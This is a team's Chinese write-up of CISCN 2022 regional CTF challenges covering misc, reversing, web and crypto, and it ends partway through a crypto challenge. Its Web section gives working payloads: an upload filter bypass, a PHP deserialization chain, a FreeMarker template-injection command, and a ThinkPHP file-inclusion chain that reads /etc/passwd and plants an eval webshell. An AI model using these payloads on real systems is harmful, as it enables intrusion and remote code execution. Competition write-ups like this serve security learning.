每年都是最后半小时被挤出前10,也许确实是能力不足吧…接下来还需要继续提升自己,再学再战!

团队成员

Do1phln b477ery sfc9982 0HB

Misc

Conversion

密文中字母跨度在 G-K 间,不禁让人想往 A-F 平移,平移后即为且全部为可打印 ASCII 文本。
拖入本地离线 CyberChef 中先使用Base32,再使用Base85 IP method 解密得到 flag

听说这是一个二维码

分析音频,无有效信息。加之题目体制侧重于文件方向,使用 010 Editor 打开音频文件,在尾部发现类似 Base64 的文本信息,经过两次解密后得到某个东西的密码。
初步考虑文件内含压缩包或者音频存在隐写信息。经多个工具尝试过后发现 DeepVoice 可以提取隐藏的文件,提取后是 .pcap 格式,观察后为内网虚拟机互喷 ICMP 包。 目标地址只有 .0 .255 两个,结合题目,猜测可能代表了二维码的黑白像素,又发现记录条数正好可以被开方,爽爆了!提取出来,用 Sublime Text 3 删掉多余信息,转化为01矩阵。

使用脚本:

  1. import xlwt
  2. book = xlwt.Workbook()
  3. style = xlwt.easyxf('pattern: pattern solid, fore_colour black;font: height 250')
  4. table=book.add_sheet('flag_code',cell_overwrite_ok=True)
  5. with open( 'flag.pcap.out', 'r' ) as f:
  6. qr=f.read()
  7. qrlist=qr.split("\n")
  8. m=0
  9. for i in qrlist:
  10. n=0
  11. for j in i:
  12. table.col(n).width=256*3
  13. if j=='1': # 黑像素
  14. table.write(m,n,'',style=style)
  15. else:
  16. table.write(m,n,'') # 白像素
  17. n+=1
  18. m+=1
  19. book.save('ctfcode.xls')

好恼啊,手机 Data Metrix 扫不出来!

Win + Shift + C 使用系统自带反转灰度
后扫描即可

涂色板

+- 0x20 <=> XOR 0x20

  1. b = bytearray(open('flag.dat', 'rb').read())
  2. for i in range(len(b)):
  3. b[i] ^= 0x20
  4. open('pixel.png', 'wb').write(b)

Stegseek + Rockyou.txt 字典库爆破密码

数学Time:

CISCN2022东北赛区题解WP-MapleLeves - 图1

  • 459*60=27540
  • 先抓住12,再抓45,最后注意左上角就行
  • 如果是n种颜色(n大于等于4)就是n(n-1)(n2-2n+2)(n-2)4
  • 最少3种颜色,有30种,3种颜色时上式仍旧成立(

Pixel

从象棋语句中提取数字解压文件,获取到密码后得到 flag.dat,使用二进制编辑器观察文件末尾,两次Base64解码得到密码。

观察十六进制标志,疑似为微信撤回图片文件。提取出照片得到林荫小道照片一张,送入 PixelJihad
https://sekao.net/pixeljihad/
后使用之前获得的密码解密。

RE

easycpp

打开文件用IDA分析,进入main函数

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. void **v3; // rcx
  4. size_t v4; // r8
  5. size_t v5; // r10
  6. void **v6; // rax
  7. void **v7; // r8
  8. void **v8; // rax
  9. void **v9; // r8
  10. void **v10; // rax
  11. void **v11; // r8
  12. void **v12; // rdx
  13. int v13; // eax
  14. const char *v14; // rdx
  15. sub_140002410(argc, "Input:", envp);
  16. sub_140002B60(&qword_140037590);
  17. if ( Size != 38 )
  18. goto LABEL_22;
  19. v5 = 0i64;
  20. v3 = &Buf1;
  21. do
  22. {
  23. v6 = &Buf1;
  24. v7 = &Buf1;
  25. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  26. v6 = (void **)Buf1;
  27. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  28. v7 = (void **)Buf1;
  29. *((_BYTE *)v7 + v5) ^= *((_BYTE *)v6 + v5 + 1);
  30. v8 = &Buf1;
  31. v9 = &Buf1;
  32. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  33. v8 = (void **)Buf1;
  34. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  35. v9 = (void **)Buf1;
  36. *((_BYTE *)v9 + v5 + 1) ^= *((_BYTE *)v8 + v5 + 2);
  37. v10 = &Buf1;
  38. v11 = &Buf1;
  39. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  40. v10 = (void **)Buf1;
  41. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  42. v11 = (void **)Buf1;
  43. *((_BYTE *)v11 + v5 + 2) ^= *((_BYTE *)v10 + v5 + 3);
  44. ++v5;
  45. v4 = Size;
  46. }
  47. while ( v5 < Size - 3 );
  48. v12 = &Buf2;
  49. if ( (unsigned __int64)qword_140036C48 >= 0x10 )
  50. v12 = (void **)Buf2;
  51. if ( (unsigned __int64)qword_140036C68 >= 0x10 )
  52. v3 = (void **)Buf1;
  53. if ( Size != qword_140036C40 || (v13 = memcmp(v3, v12, Size), v14 = "Right!", v13) )
  54. LABEL_22:
  55. v14 = "Wrong!";
  56. sub_140002410(v3, v14, v4);
  57. return 0;
  58. }

可见基本逻辑就是输入字符串后经过一系列异或操作然后进行比较即可判断最终结果对错。显然qword_140036C68为0xF恒大于0x10,因此可以看出基本逻辑就是反复移位异或,得出结果与原有数组比较,因此只需逆向进行异或操作即可,编写脚本

  1. enc = [
  2. 10, 11, 125, 47, 127, 103, 101, 48, 99, 96,
  3. 55, 63, 60, 63, 51, 58, 60, 59, 53, 60,
  4. 62, 108, 100, 49, 100, 108, 59, 104, 97, 98,
  5. 101, 54, 51, 96, 98, 54, 28, 125
  6. ]
  7. i = len(enc) - 1
  8. while i >= 3:
  9. enc[i-1] ^= enc[i]
  10. enc[i-2] ^= enc[i - 1]
  11. enc[i-3] ^= enc[i - 2]
  12. i = i - 1
  13. for i in enc:
  14. print(chr(i), end='')

flag正确,本题得解

crackme1

下载到apk文件后,用jadx打开分析发现逻辑没有套在CPP里面,遂直接进行分析
CISCN2022东北赛区题解WP-MapleLeves - 图2
可知程序逻辑是把输入分8段算md5
将题中给出的字符串分八段分别进行md5爆破,最后将结果拼接后即可得到flag

Web

Identity

burp 抓包,返回的 header 中有 identity: GuessWhatThis1sY0urIdentity
将 identity=GuessWhatThis1sY0urIdentity 作为参数再次请求得到文件上传点 h1dden_p4ge.php
文件上传,文件名改大写 PHP 绕过,文件内容绕过用

  1. <script language="php">system('xxx')</script>

ezser

这题一开始想利用绕过 wakeup,然后版本是 8.x 绕不过,于是改用引用来绕过 wakeup

  1. <?php
  2. class A{
  3. public $functions=[];
  4. }
  5. class B{
  6. private $a;
  7. private $b;
  8. public $c;
  9. function __construct()
  10. {
  11. $a = new A();
  12. $this->a = &$a->functions;
  13. $this->b = array(
  14. "_name" => array(
  15. new C(),
  16. "getFlag"
  17. )
  18. );
  19. $this->c=$a;
  20. }
  21. }
  22. class C{
  23. public function getFlag(){
  24. // echo file_get_contents("/etc/flag");
  25. echo 11111;
  26. }
  27. }
  28. $b = new B();
  29. echo "data=".urlencode(serialize($b)).PHP_EOL;
  30. // data=O%3A1%3A%22B%22%3A3%3A%7Bs%3A4%3A%22%00B%00a%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22%00B%00b%22%3Ba%3A1%3A%7Bs%3A5%3A%22_name%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22C%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7Ds%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22functions%22%3BR%3A2%3B%7D%7D

ezssti

试了下 {{1 + 1}},报错看出是 java,于是找个 java 的 payload,居然通了…
payload: xxx/render?name=%3C%23assign%20value%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bvalue(%22cat%20F1ag_is_h3re%22)%7D

eztp

首先,路由入口点 /?s=home/index/textBox
Application\Home\Controller\IndexController.class.php

  1. <?php
  2. namespace Home\Controller;
  3. use Think\Controller;
  4. class IndexController extends Controller
  5. {
  6. ...
  7. public function textBox(){
  8. $query = urldecode(I("post.query")); # 获取 post["query"]
  9. parse_str($query,$array); # 作为 url参数解析并赋给 $array
  10. $this->assign("array",$array); # 模板渲染变量赋值
  11. $this->display(T("Home@default/list")); # 渲染模板
  12. }
  13. }

Application\Home\View\default\list.html

  1. <form action="/?s=home/index/textBox" method="post"> <!-- 从这里也能看出路由 -->
  2. <label>query</label><input type="text" size="10" maxlength="30" name="query">
  3. <input type="submit" name="" value="submit">
  4. </form>
  5. <textarea><?php echo W("Query/query",array("param"=>$array));?></textarea> <!-- 调用 W 函数调用 Query/query Widget -->

Application\Home\Widget\QueryWidget.class.php

  1. <?php
  2. namespace Home\Widget;
  3. class QueryWidget
  4. {
  5. public function query($text){
  6. if(isset($text['name'])&&isset($text['id'])){
  7. $info = B($text['name'],$text['tag'],$text['id']); # 条件满足则可以调用 B 函数 我们来看看这个函数的定义
  8. return $info;
  9. }else{
  10. var_dump($text);
  11. }
  12. }
  13. }

ThinkPHP\Common\functions.php

  1. <?
  2. /**
  3. * 执行某个行为
  4. * @param string $name 行为名称
  5. * @param string $tag 标签名称(行为类无需传入)
  6. * @param Mixed $params 传入的参数
  7. * @return void
  8. */
  9. function B($name, $tag = '', &$params = null)
  10. {
  11. if ('' == $tag) {
  12. $name .= 'Behavior';
  13. }
  14. return \Think\Hook::exec($name, $tag, $params); # 那么这个函数又是干什么的?
  15. }

ThinkPHP\Library\Think\Hook.class.php

  1. <?
  2. class Hook{
  3. ...
  4. /**
  5. * 执行某个插件
  6. * @param string $name 插件名称
  7. * @param string $tag 方法名(标签名)
  8. * @param Mixed $params 传入的参数
  9. * @return void
  10. */
  11. public static function exec($name, $tag, &$params = null)
  12. {
  13. if ('Behavior' == substr($name, -8)) {
  14. // 行为扩展必须用run入口方法
  15. $tag = 'run';
  16. }
  17. $addon = new $name(); # 实例化一个类 name 作为类名
  18. return $addon->$tag($params); # 调用一个方法并传参,tag 为方法名,params 为参数
  19. }
  20. ...
  21. }

这里的 name tag params 都是可控的,于是我们就可以实例化任意类并调用任意方法,恰好有这样一个类
ThinkPHP\Library\Think\Storage\Driver\File.class.php

  1. <?php
  2. class File extends Storage{
  3. ...
  4. /**
  5. * 加载文件
  6. * @access public
  7. * @param string $filename 文件名
  8. * @param array $vars 传入变量
  9. * @return void
  10. */
  11. public function load($_filename, $vars = null)
  12. {
  13. if (!is_null($vars)) {
  14. extract($vars, EXTR_OVERWRITE);
  15. }
  16. include $_filename; # 任意文件包含
  17. }
  18. ...
  19. }

于是构造参数调用 Think\Storage\Driver\File->load 即可包含任意文件。

  1. POST /?s=home/index/textBox HTTP/1.1
  2. Host: 172.16.30.176:58002
  3. Content-Length: 105
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://172.16.30.176:58002
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://172.16.30.176:58002/?s=home/index/textBox
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close
  14. query=name%253D%255CThink%255CStorage%255CDriver%255CFile%2526id%253D%252Fetc%252Fpasswd%2526tag%253Dload

成功包含 /etc/passwd,于是找一个可以包含的可控文本文件。通过观察可以发现这个框架是有日志文件的,而且会把 E 函数的报错信息写入日志文件,搜索一个可以触发 E 函数报错且信息可控的类方法
ThinkPHP\Library\Org\Net\Http.class.php

  1. <?
  2. namespace Org\Net;
  3. class Http
  4. /**
  5. * 下载文件
  6. * 可以指定下载显示的文件名,并自动发送相应的Header信息
  7. * 如果指定了content参数,则下载该参数的内容
  8. * @static
  9. * @access public
  10. * @param string $filename 下载文件名
  11. * @param string $showname 下载显示的文件名
  12. * @param string $content 下载的内容
  13. * @param integer $expire 下载内容浏览器缓存时间
  14. * @return void
  15. */
  16. public static function download($filename, $showname = '', $content = '', $expire = 180)
  17. {
  18. if (is_file($filename)) {
  19. $length = filesize($filename);
  20. } elseif (is_file(UPLOAD_PATH . $filename)) {
  21. $filename = UPLOAD_PATH . $filename;
  22. $length = filesize($filename);
  23. } elseif ('' != $content) {
  24. $length = strlen($content);
  25. } else {
  26. E($filename . L('下载文件不存在!')); # 这里把文件名赋成要写入日志的 php 代码
  27. }
  28. if (empty($showname)) {
  29. $showname = $filename;
  30. }
  31. ...

于是我们就可以 getshell 了,先触发报错将 shell 写入日志,再文件包含日志文件
写 shell

  1. POST /?s=home/index/textBox HTTP/1.1
  2. Host: 172.16.30.176:58002
  3. Content-Length: 143
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://172.16.30.176:58002
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://172.16.30.176:58002/?s=home/index/textBox
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close
  14. query=name%253DOrg%255CNet%255CHttp%2526id%253D%253C%253Fphp%2520%2540eval(%2524_POST%255Bpass%255D)%253B%2520%253F%253E%2526tag%253Ddownload

读 flag,这里的文件路径是先 ls 来的

  1. POST /?s=home/index/textBox HTTP/1.1
  2. Host: 172.16.30.176:58002
  3. Content-Length: 188
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://172.16.30.176:58002
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://172.16.30.176:58002/?s=home/index/textBox
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close
  14. query=name%253D%255CThink%255CStorage%255CDriver%255CFile%2526id%253D.%252FApplication%252FRuntime%252FLogs%252FHome%252F22_06_18.log%2526tag%253Dload&pass=system('cat /Secret_is_h3re');

Crypto

gcrd2(100)

题目

  1. import numpy as np
  2. from flag import T
  3. import random
  4. np.set_printoptions(threshold=np.inf)
  5. def get():
  6. while True:
  7. x = []
  8. for i in range(32):
  9. add = [random.randint(0, 10)] * i + [random.randint(0, 10)] * (32 - i)
  10. x.append(add)
  11. if np.linalg.matrix_rank(x) == 32:
  12. return x
  13. a = np.array(get())
  14. b = np.array(get())
  15. # dot 矩阵乘法
  16. aT = np.dot(a, T)
  17. bT = np.dot(b, T)
  18. with open('out', 'w') as f:
  19. for i in range(32):
  20. f.write(str(str(aT[i, :])[1:-1].replace('\n', '')) + '\n') # 写入aT
  21. for i in range(32):
  22. f.write(str(str(bT[i, :])[1:-1].replace('\n', '')) + '\n') # 写入 bT
  23. f.close()
  24. res = np.dot(bT, np.dot(T, aT))
  25. flag = 0
  26. for i in str(res[:, 0])[1:-1].replace('\n', '').split(' '):
  27. if not i == '':
  28. flag = flag + int(i)
  29. print(flag)

题解

  1. aT = np.dot(a, T)
  2. bT = np.dot(b, T)

可知:T为矩阵aT、bT的最大右公因子

CISCN2022东北赛区题解WP-MapleLeves - 图3

由gcrd得:

将aT、bT堆叠成CISCN2022东北赛区题解WP-MapleLeves - 图4,初等行变化 利用MATLAB化为最简行阶梯形矩阵

  1. aTbT = [8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8;
  2. 8, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5;
  3. 4, 4, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  4. 4, 4, 4, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9;
  5. 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5;
  6. 10, 10, 10, 10, 10, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  7. 2, 2, 2, 2, 2, 2, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9;
  8. 8, 8, 8, 8, 8, 8, 8, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5;
  9. 3, 3, 3, 3, 3, 3, 3, 3, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9;
  10. 9, 9, 9, 9, 9, 9, 9, 9, 9, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1;
  11. 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1;
  12. 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1;
  13. 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3;
  14. 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0;
  15. 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0;
  16. 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  17. 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0;
  18. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8;
  19. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10;
  20. 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2;
  21. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9;
  22. 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  23. 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2;
  24. 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 10, 10, 10, 10, 10, 10, 10, 10, 10;
  25. 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2;
  26. 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 9, 9, 9, 9, 9, 9, 9;
  27. 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1;
  28. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 8, 8, 8, 8;
  29. 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 9, 9, 9, 9;
  30. 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0;
  31. 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 3, 3;
  32. 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 10;
  33. 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1;
  34. 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2;
  35. 9, 9, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3;
  36. 0, 0, 0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8;
  37. 0, 0, 0, 0, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  38. 1, 1, 1, 1, 1, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4;
  39. 9, 9, 9, 9, 9, 9, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1;
  40. 5, 5, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10;
  41. 7, 7, 7, 7, 7, 7, 7, 7, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3;
  42. 5, 5, 5, 5, 5, 5, 5, 5, 5, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1;
  43. 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8;
  44. 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7;
  45. 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0;
  46. 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  47. 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4;
  48. 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  49. 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6;
  50. 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10;
  51. 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5;
  52. 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7;
  53. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9;
  54. 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10;
  55. 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2;
  56. 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 10, 10, 10, 10, 10, 10, 10, 10;
  57. 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 9, 9, 9, 9, 9, 9, 9, 9;
  58. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1;
  59. 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 2, 2, 2, 2, 2, 2;
  60. 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9;
  61. 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 6, 6, 6, 6;
  62. 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4;
  63. 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 1, 1;
  64. 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0;];
  65. t = rref(aTbT)

舍去下半部分0矩阵,得到32*32的单位阵T

代回题目,得解

  1. import hashlib
  2. import numpy as np
  3. with open('/Users/wenhui/Downloads/1655300570gcrd/out.txt') as f:
  4. aTbT = []
  5. num = 1
  6. for i in f.readlines():
  7. tmp = []
  8. for each in i.replace('\n', '').split(' '):
  9. if each != '':
  10. tmp.append(int(each))
  11. aTbT.append(tmp)
  12. print(str(tmp)[1:-1]+';')
  13. num += 1
  14. aT = aTbT[:32]
  15. bT = np.array(aTbT[32:])
  16. T = []
  17. for i in range(32):
  18. tmp = [0 for i in range(32)]
  19. tmp[i] = 1
  20. T.append(tmp)
  21. res = np.dot(bT, np.dot(T, aT))
  22. flag = 0
  23. for i in str(res[:, 0])[1:-1].replace('\n', '').split(' '):
  24. if not i == '':
  25. flag = flag + int(i)
  26. # print(flag)
  27. f = hashlib.md5()
  28. f.update(str(flag).encode())
  29. print('flag{'+str(f.hexdigest())+'}')

math1(200)

题目

  1. import gmpy2
  2. from Crypto.Util.number import *
  3. from flag import flag
  4. assert flag.startswith(b"flag{")
  5. assert flag.endswith(b"}")
  6. message=bytes_to_long(flag)
  7. def keygen(nbit, dbit):
  8. if 2*dbit < nbit:
  9. while True:
  10. a1 = getRandomNBitInteger(dbit)
  11. b1 = getRandomNBitInteger(nbit//2-dbit)
  12. n1 = a1*b1+1
  13. if isPrime(n1):
  14. break
  15. while True:
  16. a2 = getRandomNBitInteger(dbit)
  17. b2 = getRandomNBitInteger(nbit//2-dbit)
  18. n2=a2*b2+1
  19. n3=a1*b2+1
